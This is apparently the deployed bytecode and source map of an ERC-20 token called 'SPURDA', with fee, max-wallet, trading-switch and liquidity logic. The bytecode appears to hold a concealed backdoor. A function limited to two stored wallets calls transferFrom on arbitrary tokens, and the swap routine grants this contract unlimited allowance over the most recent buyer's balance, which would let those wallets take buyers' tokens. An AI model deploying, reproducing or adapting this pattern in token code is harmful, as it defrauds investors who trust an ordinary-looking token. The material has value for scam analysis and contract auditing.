0x6080604052600436106101445760003560e01c806370a08231116100b657806395d89b411161006f57806395d89b4114610398578063a8aa1b31146103c7578063a9059cbb146103e7578063c9567bf914610407578063dd62ed3e1461040f578063f2fde38b1461045557600080fd5b806370a08231146102da578063715018a614610310578063751039fc1461032557806378109e541461033a5780637d1db4a5146103505780638da5cb5b1461036657600080fd5b806323b872dd1161010857806323b872dd14610218578063313ce567146102385780633f4218e01461025457806348ff2b8b1461028457806351bc3c85146102a457806353371be0146102b957600080fd5b80630445b6671461015057806306fdde0314610179578063095ea7b3146101b15780630d1859f6146101e157806318160ddd1461020357600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50610166600a5481565b6040519081526020015b60405180910390f35b34801561018557600080fd5b5060408051808201909152600681526573707572646160d01b60208201525b60405161017091906116a7565b3480156101bd57600080fd5b506101d16101cc36600461170a565b610475565b6040519015158152602001610170565b3480156101ed57600080fd5b506102016101fc366004611736565b61048c565b005b34801561020f57600080fd5b5061016661053a565b34801561022457600080fd5b506101d1610233366004611787565b6105ab565b34801561024457600080fd5b5060405160128152602001610170565b34801561026057600080fd5b506101d161026f3660046117c8565b60046020526000908152604090205460ff1681565b34801561029057600080fd5b5061020161029f3660046117f3565b610615565b3480156102b057600080fd5b50610201610673565b3480156102c557600080fd5b506006546101d190600160a01b900460ff1681565b3480156102e657600080fd5b506101666102f53660046117c8565b6001600160a01b031660009081526002602052604090205490565b34801561031c57600080fd5b506102016106d9565b34801561033157600080fd5b5061020161074d565b34801561034657600080fd5b5061016660175481565b34801561035c57600080fd5b5061016660165481565b34801561037257600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610170565b3480156103a457600080fd5b5060408051808201909152600681526553505552444160d01b60208201526101a4565b3480156103d357600080fd5b50600654610380906001600160a01b031681565b3480156103f357600080fd5b506101d161040236600461170a565b610784565b610201610791565b34801561041b57600080fd5b5061016661042a36600461182c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046157600080fd5b506102016104703660046117c8565b610978565b6000610482338484610a3e565b5060015b92915050565b6013546001600160a01b03163314806104af57506014546001600160a01b031633145b6104b857600080fd5b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd906064016020604051808303816000875af115801561050f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610533919061185a565b5050505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926105a69290916105a09190610b62565b90610b62565b905090565b60006105b8848484610b6e565b61060a8433610605856040518060600160405280602881526020016119ea602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611085565b610a3e565b5060015b9392505050565b6000546001600160a01b031633146106485760405162461bcd60e51b815260040161063f90611877565b60405180910390fd5b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6013546001600160a01b031633148061069657506014546001600160a01b031633145b61069f57600080fd5b6106aa600a546110b1565b60405133904780156108fc02916000818181858888f193505050501580156106d6573d6000803e3d6000fd5b50565b6000546001600160a01b031633146107035760405162461bcd60e51b815260040161063f90611877565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107775760405162461bcd60e51b815260040161063f90611877565b6001546016819055601755565b6000610482338484610b6e565b6000546001600160a01b031633146107bb5760405162461bcd60e51b815260040161063f90611877565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083291906118a2565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610894573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b891906118a2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610905573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092991906118a2565b600680546001600160a01b0319166001600160a01b039290921691909117905530600090815260026020526040902054610963903461122d565b6006805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146109a25760405162461bcd60e51b815260040161063f90611877565b6001600160a01b0381166109e35760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161063f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610aa05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063f565b6001600160a01b038216610b015760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061060e82846118d5565b6001600160a01b038316610bd25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063f565b6001600160a01b038216610c345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063f565b6001600160a01b038316600090815260026020526040902054811115610cb65760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161063f565b6001600160a01b03831660009081526004602052604090205460ff16158015610cf857506001600160a01b03821660009081526004602052604090205460ff16155b15610d4757600654600160a01b900460ff16610d475760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b604482015260640161063f565b6001600160a01b03831660009081526004602052604090205460ff16158015610d8957506001600160a01b03821660009081526004602052604090205460ff16155b8015610da357506006546001600160a01b03838116911614155b8015610dba57506001600160a01b03821661dead14155b15610e33576017546001600160a01b038316600090815260026020526040902054610de590836112da565b1115610e335760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161063f565b60165481111580610e5c57506001600160a01b03831660009081526004602052604090205460ff165b80610e7f57506001600160a01b03821660009081526004602052604090205460ff165b610ebf5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161063f565b6006546001600160a01b038481169116148015610ef457506001600160a01b03821660009081526004602052604090205460ff165b15610f0d576006805460ff60a81b1916600160a81b1790555b6006546001600160a01b038381169116148015610f4357506001600160a01b03831660009081526004602052604090205460ff16155b15610f7f57601580546001600160a01b0319166001600160a01b0384161790556007805460019190600090610f799084906118e8565b90915550505b610f8983836112e6565b15610f9f57610f99600a5461136e565b60006007555b6001600160a01b038316600090815260026020526040902054610fc29082610b62565b6001600160a01b038416600090815260026020526040812091909155610fe884846114f7565b610ff25781610ffd565b610ffd84848461153d565b6001600160a01b03841660009081526002602052604090205490915061102390826112da565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110779085815260200190565b60405180910390a350505050565b600081848411156110a95760405162461bcd60e51b815260040161063f91906116a7565b505050900390565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106110e6576110e66118fb565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561113f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116391906118a2565b81600181518110611176576111766118fb565b6001600160a01b0392831660209182029290920181019190915260155482166000908152600382526040808220308084529352902060001990556005546111be921684610a3e565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f7908590600090869030904290600401611911565b600060405180830381600087803b15801561121157600080fd5b505af1158015611225573d6000803e3d6000fd5b505050505050565b6005546112459030906001600160a01b031684610a3e565b60055460155460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156112b5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105339190611982565b600061060e82846118e8565b60085460009060ff161580156113055750600654600160a81b900460ff165b801561131a5750600654600160a01b900460ff165b801561133f57506001600160a01b03831660009081526004602052604090205460ff16155b801561135857506006546001600160a01b038381169116145b801561060e575050600954600754101592915050565b6008805460ff19166001908117909155600d54600c54600b546000936113ae936002936113a89391926113a29283916112da565b906112da565b90611644565b905060006113d1826113cb600b548661164490919063ffffffff16565b90611650565b905060006113df8483610b62565b9050476113eb826110b1565b60006113f78247610b62565b9050600061141a611413600b5488610b6290919063ffffffff16565b8390611650565b90506000611433600b548361164490919063ffffffff16565b9050801561144557611445868261122d565b600c5460009061145a906113a8856002611644565b9050801561149e576014546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561149c573d6000803e3d6000fd5b505b4780156114e1576013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156114df573d6000803e3d6000fd5b505b50506008805460ff191690555050505050505050565b6001600160a01b03821660009081526004602052604081205460ff1615801561060e5750506001600160a01b031660009081526004602052604090205460ff1615919050565b60008061154a858561165c565b111561163d57600061156d61155f868661165c565b6012546113a8908690611650565b3060009081526002602052604090205490915061158a90826112da565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115db9085815260200190565b60405180910390a36000600e541180156115ff5750600e546115fd868661165c565b115b1561162b5761162b3061dead611626600e546113a86012548961165090919063ffffffff16565b610b6e565b6116358382610b62565b91505061060e565b5092915050565b600061060e82846119b0565b600061060e82846119c7565b6006546000906001600160a01b039081169083160361167e5750601054610486565b6006546001600160a01b039081169084160361169d5750600f54610486565b5060115492915050565b600060208083528351808285015260005b818110156116d4578581018301518582016040015282016116b8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106d657600080fd5b6000806040838503121561171d57600080fd5b8235611728816116f5565b946020939093013593505050565b6000806000806080858703121561174c57600080fd5b8435611757816116f5565b93506020850135611767816116f5565b92506040850135611777816116f5565b9396929550929360600135925050565b60008060006060848603121561179c57600080fd5b83356117a7816116f5565b925060208401356117b7816116f5565b929592945050506040919091013590565b6000602082840312156117da57600080fd5b813561060e816116f5565b80151581146106d657600080fd5b6000806040838503121561180657600080fd5b8235611811816116f5565b91506020830135611821816117e5565b809150509250929050565b6000806040838503121561183f57600080fd5b823561184a816116f5565b91506020830135611821816116f5565b60006020828403121561186c57600080fd5b815161060e816117e5565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b6000602082840312156118b457600080fd5b815161060e816116f5565b634e487b7160e01b600052601160045260246000fd5b81810381811115610486576104866118bf565b80820180821115610486576104866118bf565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119615784516001600160a01b03168352938301939183019160010161193c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561199757600080fd5b8351925060208401519150604084015190509250925092565b8082028115828204841417610486576104866118bf565b6000826119e457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122000994fc28f68dead7a57268e2cbcd55bd9e3c8d49be100c4777470e6dea8d27664736f6c63430008110033

Deployed Bytecode Sourcemap

5181:9102:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5855:59;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;5855:59:0;;;;;;;;7181:67;;;;;;;;;;-1:-1:-1;7241:5:0;;;;;;;;;;;;-1:-1:-1;;;7241:5:0;;;;7181:67;;;;;;;:::i;7905:133::-;;;;;;;;;;-1:-1:-1;7905:133:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;7905:133:0;1205:187:1;9045:246:0;;;;;;;;;;-1:-1:-1;9045:246:0;;;;;:::i;:::-;;:::i;:::-;;8044:132;;;;;;;;;;;;;:::i;13626:309::-;;;;;;;;;;-1:-1:-1;13626:309:0;;;;;:::i;:::-;;:::i;7331:67::-;;;;;;;;;;-1:-1:-1;7331:67:0;;5387:2;2603:36:1;;2591:2;2576:18;7331:67:0;2461:184:1;5588:44:0;;;;;;;;;;-1:-1:-1;5588:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7791:108;;;;;;;;;;-1:-1:-1;7791:108:0;;;;;:::i;:::-;;:::i;8804:233::-;;;;;;;;;;;;;:::i;5686:34::-;;;;;;;;;;-1:-1:-1;5686:34:0;;;;-1:-1:-1;;;5686:34:0;;;;;;7404:103;;;;;;;;;;-1:-1:-1;7404:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7487:18:0;7470:7;7487:18;;;:9;:18;;;;;;;7404:103;3967:148;;;;;;;;;;;;;:::i;8426:130::-;;;;;;;;;;;;;:::i;6634:59::-;;;;;;;;;;;;;;;;6571:56;;;;;;;;;;;;;;;;3770:79;;;;;;;;;;-1:-1:-1;3808:7:0;3835:6;-1:-1:-1;;;;;3835:6:0;3770:79;;;-1:-1:-1;;;;;3576:32:1;;;3558:51;;3546:2;3531:18;3770:79:0;3412:203:1;7254:71:0;;;;;;;;;;-1:-1:-1;7316:7:0;;;;;;;;;;;;-1:-1:-1;;;7316:7:0;;;;7254:71;;5660:19;;;;;;;;;;-1:-1:-1;5660:19:0;;;;-1:-1:-1;;;;;5660:19:0;;;7513:139;;;;;;;;;;-1:-1:-1;7513:139:0;;;;;:::i;:::-;;:::i;8184:234::-;;;:::i;7658:127::-;;;;;;;;;;-1:-1:-1;7658:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7756:18:0;;;7739:7;7756:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7658:127;4123:214;;;;;;;;;;-1:-1:-1;4123:214:0;;;;;:::i;:::-;;:::i;7905:133::-;7980:4;7987:37;7996:10;8008:7;8017:6;7987:8;:37::i;:::-;-1:-1:-1;8032:4:0;7905:133;;;;;:::o;9045:246::-;9168:20;;-1:-1:-1;;;;;9168:20:0;9154:10;:34;;:70;;-1:-1:-1;9206:18:0;;-1:-1:-1;;;;;9206:18:0;9192:10;:32;9154:70;9146:79;;;;;;9236:47;;-1:-1:-1;;;9236:47:0;;-1:-1:-1;;;;;4271:15:1;;;9236:47:0;;;4253:34:1;4323:15;;;4303:18;;;4296:43;4355:18;;;4348:34;;;9236:29:0;;;;;4188:18:1;;9236:47:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9045:246;;;;:::o;8044:132::-;7487:9;:18;;;;6322:42;8097:7;7487:18;;;;;8114:12;;8097:7;;8114:60;;7487:18;;8114:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;8107:67;;8044:132;:::o;13626:309::-;13724:4;13741:36;13751:6;13759:9;13770:6;13741:9;:36::i;:::-;13788:117;13797:6;13805:10;13817:87;13853:6;13817:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13817:19:0;;;;;;:11;:19;;;;;;;;13837:10;13817:31;;;;;;;;;:87;:35;:87::i;:::-;13788:8;:117::i;:::-;-1:-1:-1;13923:4:0;13626:309;;;;;;:::o;7791:108::-;3897:6;;-1:-1:-1;;;;;3897:6:0;3907:10;3897:20;3889:50;;;;-1:-1:-1;;;3889:50:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;7865:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;7865:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7791:108::o;8804:233::-;8868:20;;-1:-1:-1;;;;;8868:20:0;8854:10;:34;;:70;;-1:-1:-1;8906:18:0;;-1:-1:-1;;;;;8906:18:0;8892:10;:32;8854:70;8846:79;;;;;;8936:31;8953:13;;8936:16;:31::i;:::-;8978:51;;8986:10;;9007:21;8978:51;;;;;;;;;9007:21;8986:10;8978:51;;;;;;;;;;;;;;;;;;;;;8804:233::o;3967:148::-;3897:6;;-1:-1:-1;;;;;3897:6:0;3907:10;3897:20;3889:50;;;;-1:-1:-1;;;3889:50:0;;;;;;;:::i;:::-;4074:1:::1;4058:6:::0;;4037:40:::1;::::0;-1:-1:-1;;;;;4058:6:0;;::::1;::::0;4037:40:::1;::::0;4074:1;;4037:40:::1;4105:1;4088:19:::0;;-1:-1:-1;;;;;;4088:19:0::1;::::0;;3967:148::o;8426:130::-;3897:6;;-1:-1:-1;;;;;3897:6:0;3907:10;3897:20;3889:50;;;;-1:-1:-1;;;3889:50:0;;;;;;;:::i;:::-;8495:12:::1;::::0;8480::::1;:27:::0;;;8518:15:::1;:30:::0;8426:130::o;7513:139::-;7591:4;7598:40;7608:10;7620:9;7631:6;7598:9;:40::i;8184:234::-;3897:6;;-1:-1:-1;;;;;3897:6:0;3907:10;3897:20;3889:50;;;;-1:-1:-1;;;3889:50:0;;;;;;;:::i;:::-;8260:6:::1;;;;;;;;;-1:-1:-1::0;;;;;8260:6:0::1;-1:-1:-1::0;;;;;8260:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8251:37:0::1;;8297:4;8304:6;;;;;;;;;-1:-1:-1::0;;;;;8304:6:0::1;-1:-1:-1::0;;;;;8304:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8251:67;::::0;-1:-1:-1;;;;;;8251:67:0::1;::::0;;;;;;-1:-1:-1;;;;;5475:15:1;;;8251:67:0::1;::::0;::::1;5457:34:1::0;5527:15;;5507:18;;;5500:43;5392:18;;8251:67:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8244:4;:74:::0;;-1:-1:-1;;;;;;8244:74:0::1;-1:-1:-1::0;;;;;8244:74:0;;;::::1;::::0;;;::::1;::::0;;8360:4:::1;-1:-1:-1::0;7487:18:0;;;:9;:18;;;;;;8329:49:::1;::::0;8368:9:::1;8329:12;:49::i;:::-;8389:14;:21:::0;;-1:-1:-1;;;;8389:21:0::1;-1:-1:-1::0;;;8389:21:0::1;::::0;;8184:234::o;4123:214::-;3897:6;;-1:-1:-1;;;;;3897:6:0;3907:10;3897:20;3889:50;;;;-1:-1:-1;;;3889:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4212:22:0;::::1;4204:43;;;::::0;-1:-1:-1;;;4204:43:0;;5756:2:1;4204:43:0::1;::::0;::::1;5738:21:1::0;5795:1;5775:18;;;5768:29;-1:-1:-1;;;5813:18:1;;;5806:38;5861:18;;4204:43:0::1;5554:331:1::0;4204:43:0::1;4284:6;::::0;;4263:38:::1;::::0;-1:-1:-1;;;;;4263:38:0;;::::1;::::0;4284:6;::::1;::::0;4263:38:::1;::::0;::::1;4312:6;:17:::0;;-1:-1:-1;;;;;;4312:17:0::1;-1:-1:-1::0;;;;;4312:17:0;;;::::1;::::0;;;::::1;::::0;;4123:214::o;13943:335::-;-1:-1:-1;;;;;14036:19:0;;14028:68;;;;-1:-1:-1;;;14028:68:0;;6092:2:1;14028:68:0;;;6074:21:1;6131:2;6111:18;;;6104:30;6170:34;6150:18;;;6143:62;-1:-1:-1;;;6221:18:1;;;6214:34;6265:19;;14028:68:0;5890:400:1;14028:68:0;-1:-1:-1;;;;;14115:21:0;;14107:68;;;;-1:-1:-1;;;14107:68:0;;6497:2:1;14107:68:0;;;6479:21:1;6536:2;6516:18;;;6509:30;6575:34;6555:18;;;6548:62;-1:-1:-1;;;6626:18:1;;;6619:32;6668:19;;14107:68:0;6295:398:1;14107:68:0;-1:-1:-1;;;;;14186:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14238:32;;160:25:1;;;14238:32:0;;133:18:1;14238:32:0;;;;;;;13943:335;;;:::o;1434:98::-;1492:7;1519:5;1523:1;1519;:5;:::i;12225:1393::-;-1:-1:-1;;;;;12322:20:0;;12314:70;;;;-1:-1:-1;;;12314:70:0;;7165:2:1;12314:70:0;;;7147:21:1;7204:2;7184:18;;;7177:30;7243:34;7223:18;;;7216:62;-1:-1:-1;;;7294:18:1;;;7287:35;7339:19;;12314:70:0;6963:401:1;12314:70:0;-1:-1:-1;;;;;12403:23:0;;12395:71;;;;-1:-1:-1;;;12395:71:0;;7571:2:1;12395:71:0;;;7553:21:1;7610:2;7590:18;;;7583:30;7649:34;7629:18;;;7622:62;-1:-1:-1;;;7700:18:1;;;7693:33;7743:19;;12395:71:0;7369:399:1;12395:71:0;-1:-1:-1;;;;;7487:18:0;;7470:7;7487:18;;;:9;:18;;;;;;12485:6;:27;;12477:88;;;;-1:-1:-1;;;12477:88:0;;7975:2:1;12477:88:0;;;7957:21:1;8014:2;7994:18;;;7987:30;8053:34;8033:18;;;8026:62;-1:-1:-1;;;8104:18:1;;;8097:47;8161:19;;12477:88:0;7773:413:1;12477:88:0;-1:-1:-1;;;;;12580:19:0;;;;;;:11;:19;;;;;;;;12579:20;:47;;;;-1:-1:-1;;;;;;12604:22:0;;;;;;:11;:22;;;;;;;;12603:23;12579:47;12576:95;;;12636:14;;-1:-1:-1;;;12636:14:0;;;;12628:41;;;;-1:-1:-1;;;12628:41:0;;8393:2:1;12628:41:0;;;8375:21:1;8432:2;8412:18;;;8405:30;-1:-1:-1;;;8451:18:1;;;8444:44;8505:18;;12628:41:0;8191:338:1;12628:41:0;-1:-1:-1;;;;;12685:19:0;;;;;;:11;:19;;;;;;;;12684:20;:47;;;;-1:-1:-1;;;;;;12709:22:0;;;;;;:11;:22;;;;;;;;12708:23;12684:47;:77;;;;-1:-1:-1;12756:4:0;;-1:-1:-1;;;;;12735:26:0;;;12756:4;;12735:26;;12684:77;:107;;;;-1:-1:-1;;;;;;12765:26:0;;6322:42;12765:26;;12684:107;12681:220;;;12849:15;;-1:-1:-1;;;;;12812:20:0;;;;;;:9;:20;;;;;;:32;;12837:6;12812:24;:32::i;:::-;12811:53;;12803:96;;;;-1:-1:-1;;;12803:96:0;;8736:2:1;12803:96:0;;;8718:21:1;8775:2;8755:18;;;8748:30;8814:32;8794:18;;;8787:60;8864:18;;12803:96:0;8534:354:1;12803:96:0;12929:12;;12919:6;:22;;:45;;;-1:-1:-1;;;;;;12945:19:0;;;;;;:11;:19;;;;;;;;12919:45;:71;;;-1:-1:-1;;;;;;12968:22:0;;;;;;:11;:22;;;;;;;;12919:71;12911:101;;;;-1:-1:-1;;;12911:101:0;;9095:2:1;12911:101:0;;;9077:21:1;9134:2;9114:18;;;9107:30;-1:-1:-1;;;9153:18:1;;;9146:47;9210:18;;12911:101:0;8893:341:1;12911:101:0;13037:4;;-1:-1:-1;;;;;13027:14:0;;;13037:4;;13027:14;:40;;;;-1:-1:-1;;;;;;13045:22:0;;;;;;:11;:22;;;;;;;;13027:40;13024:63;;;13069:11;:16;;-1:-1:-1;;;;13069:16:0;-1:-1:-1;;;13069:16:0;;;13024:63;13113:4;;-1:-1:-1;;;;;13100:17:0;;;13113:4;;13100:17;:41;;;;-1:-1:-1;;;;;;13122:19:0;;;;;;:11;:19;;;;;;;;13121:20;13100:41;13097:100;;;13143:18;:28;;-1:-1:-1;;;;;;13143:28:0;-1:-1:-1;;;;;13143:28:0;;;;;13172:9;:23;;-1:-1:-1;;13172:9:0;-1:-1:-1;;13172:23:0;;-1:-1:-1;;13172:23:0;:::i;:::-;;;;-1:-1:-1;;13097:100:0;13210:37;13229:6;13237:9;13210:18;:37::i;:::-;13207:97;;;13249:29;13264:13;;13249:14;:29::i;:::-;13300:1;13280:9;:22;13207:97;-1:-1:-1;;;;;13334:17:0;;;;;;:9;:17;;;;;;:29;;13356:6;13334:21;:29::i;:::-;-1:-1:-1;;;;;13314:17:0;;;;;;:9;:17;;;;;:49;;;;13399:32;13324:6;13421:9;13399:13;:32::i;:::-;:78;;13471:6;13399:78;;;13434:34;13442:6;13450:9;13461:6;13434:7;:34::i;:::-;-1:-1:-1;;;;;13511:20:0;;;;;;:9;:20;;;;;;13374:103;;-1:-1:-1;13511:40:0;;13374:103;13511:24;:40::i;:::-;-1:-1:-1;;;;;13488:20:0;;;;;;;:9;:20;;;;;;;:63;;;;13567:43;;;;;;;;;;13595:14;160:25:1;;148:2;133:18;;14:177;13567:43:0;;;;;;;;12303:1315;12225:1393;;;:::o;1858:240::-;1978:7;2039:12;2031:6;;;;2023:29;;;;-1:-1:-1;;;2023:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2074:5:0;;;1858:240::o;10721:503::-;10811:16;;;10825:1;10811:16;;;;;;;;10787:21;;10811:16;;;;;;;;;;-1:-1:-1;10811:16:0;10787:40;;10856:4;10838;10843:1;10838:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10838:23:0;;;:7;;;;;;;;;;:23;;;;10882:6;;:13;;;-1:-1:-1;;;10882:13:0;;;;:6;;;;;:11;;:13;;;;;10838:7;;10882:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10872:4;10877:1;10872:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10872:23:0;;;:7;;;;;;;;;;:23;;;;10918:18;;;;10962:1;10906:31;;;:11;:31;;;;;;10946:4;10906:46;;;;;;;-1:-1:-1;;10906:58:0;;11007:6;;10975:53;;11007:6;11016:11;10975:8;:53::i;:::-;11039:6;;:177;;-1:-1:-1;;;11039:177:0;;-1:-1:-1;;;;;11039:6:0;;;;:57;;:177;;11111:11;;11039:6;;11153:4;;11180;;11200:15;;11039:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10776:448;10721:503;:::o;10370:343::-;10483:6;;10451:53;;10468:4;;-1:-1:-1;;;;;10483:6:0;10492:11;10451:8;:53::i;:::-;10515:6;;10656:18;;10515:190;;-1:-1:-1;;;10515:190:0;;10578:4;10515:190;;;10959:34:1;11009:18;;;11002:34;;;10515:6:0;11052:18:1;;;11045:34;;;11095:18;;;11088:34;-1:-1:-1;;;;;10656:18:0;;;11138:19:1;;;11131:44;10689:15:0;11191:19:1;;;11184:35;10515:6:0;;;:22;;10545:9;;10893:19:1;;10515:190:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;1328:98::-;1386:7;1413:5;1417:1;1413;:5;:::i;8564:232::-;8675:8;;8650:4;;8675:8;;8674:9;:24;;;;-1:-1:-1;8687:11:0;;-1:-1:-1;;;8687:11:0;;;;8674:24;:42;;;;-1:-1:-1;8702:14:0;;-1:-1:-1;;;8702:14:0;;;;8674:42;:66;;;;-1:-1:-1;;;;;;8721:19:0;;;;;;:11;:19;;;;;;;;8720:20;8674:66;:87;;;;-1:-1:-1;8757:4:0;;-1:-1:-1;;;;;8744:17:0;;;8757:4;;8744:17;8674:87;:114;;;;-1:-1:-1;;8778:10:0;;8765:9;;:23;;;8564:232;-1:-1:-1;;8564:232:0:o;9299:1063::-;5943:8;:15;;-1:-1:-1;;5943:15:0;5954:4;5943:15;;;;;;9436:14:::1;::::0;9418:12:::1;::::0;9394::::1;::::0;5943:8;;9393:66:::1;::::0;9457:1:::1;::::0;9394:57:::1;::::0;9436:14;;9394:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;:57::-;9393:63:::0;::::1;:66::i;:::-;9370:89;;9470:32;9505:42;9534:12;9505:24;9516:12;;9505:6;:10;;:24;;;;:::i;:::-;:28:::0;::::1;:42::i;:::-;9470:77:::0;-1:-1:-1;9558:14:0::1;9575:36;:6:::0;9470:77;9575:10:::1;:36::i;:::-;9558:53:::0;-1:-1:-1;9647:21:0::1;9679:24;9558:53:::0;9679:16:::1;:24::i;:::-;9714:20;9737:41;:14:::0;9756:21:::1;9737:18;:41::i;:::-;9714:64;;9789:19;9810:48;9827:30;9844:12;;9827;:16;;:30;;;;:::i;:::-;9810:12:::0;;:16:::1;:48::i;:::-;9789:69;;9869:29;9901;9917:12;;9901:11;:15;;:29;;;;:::i;:::-;9869:61:::0;-1:-1:-1;9944:34:0;;9941:103:::1;;9980:61;9993:24;10019:21;9980:12;:61::i;:::-;10100:12;::::0;10054:20:::1;::::0;10077:36:::1;::::0;:18:::1;:11:::0;10093:1:::1;10077:15;:18::i;:36::-;10054:59:::0;-1:-1:-1;10127:16:0;;10124:73:::1;;10153:18;::::0;10145:50:::1;::::0;-1:-1:-1;;;;;10153:18:0;;::::1;::::0;10145:50;::::1;;;::::0;10182:12;;10153:18:::1;10145:50:::0;10153:18;10145:50;10182:12;10153:18;10145:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10124:73;10233:21;10268:28:::0;;10265:90:::1;;10306:20;::::0;10298:55:::1;::::0;-1:-1:-1;;;;;10306:20:0;;::::1;::::0;10298:55;::::1;;;::::0;10337:15;;10306:20:::1;10298:55:::0;10306:20;10298:55;10337:15;10306:20;10298:55;::::1;